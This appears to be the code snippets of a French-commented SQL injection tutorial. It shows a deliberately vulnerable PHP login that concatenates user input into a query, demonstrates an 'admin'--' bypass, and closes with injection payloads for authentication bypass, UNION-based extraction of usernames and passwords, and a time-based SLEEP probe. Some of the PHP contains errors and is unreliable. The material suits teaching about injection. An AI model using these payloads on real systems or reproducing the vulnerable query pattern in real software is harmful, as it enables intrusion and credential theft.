SELECT * FROM my_table;
# commentaire
SELECT col1, col2 FROM my_table;
/* ici aussi */
SELECT * FROM my_table WHERE id=1;
-- et là encore

INSERT INTO my_table (col1, col2) VALUES ("val1", "val2");

UPDATE my_table SET col2="new value";

DELETE FROM my_table WHERE col3 > 2;

SELECT col1, col2 FROM my_table UNION
SELECT col1, col2 FROM other_table;

SELECT col1, col2 FROM my_table UNION SELECT o_col1, o_col2 FROM other_table;

<?php
# connexion à la BDD
$db = new PDO("mysql:host=localhost;dbname=my_db", $user, $pass);

# requête à la BDD
$result = $db -> query("SELECT * FROM my_table WHERE col1='bdp'");

# affichage des résultats
while($row = $result -> fetch(PDO_FETCH_ASSOC)){
	printr($row);
}

<?php
 /* Formulaire de connexion
 */

# authentification
$query = "SELECT * FROM users WHERE username='$username' AND pass='$pass'";

# requête
$res = $db->query($query);

# vérification
if($res->num_rows === 1){
    $_SESSION['session'] = "admin";
}

foreach($arr as $key){
	echo "<div>";
    echo "<span class='product_name'>$key['name']</span>";
    echo "<span class='product_price'>$key['price']</span>";
    echo "<span class='product_desc'>$key['desc']</span>";
}

SELECT * FROM users WHERE username='$username' AND pass='$pass';

# username : admin
# pass : password
SELECT * FROM users WHERE username='admin' AND pass='password';
# requête à la base de données...
# Fetched 0 rows in 0.004s -> non authentifié

# username : admin
# pass : sUp3r_p4ssw0rd!@
SELECT * FROM users WHERE username='admin' AND pass='sUp3r_p4ssw0rd!@';
# requête à la base de données...
# Fetched 1 row in 0.006s -> authentifié

SELECT * FROM users WHERE username='$username' AND pass='$pass';

# username : admin'--
# pass : password
SELECT * FROM users WHERE username='admin'--' AND pass='password';
# requête à la base de données...
# Fetched 1 row in 0.008s -> authentifié

';--
' OR 1=1;-- -

' OR password LIKE '%';-- -
' UNION SELECT NULL,CONCAT(username,':',password) FROM users--

' UNION SELECT @@version,CONCAT(0x706173,0x73776F7264),NULL,database() FROM users
WHERE id=1 AND password=SUBSTR(users.password,1) AND SLEEP(5)--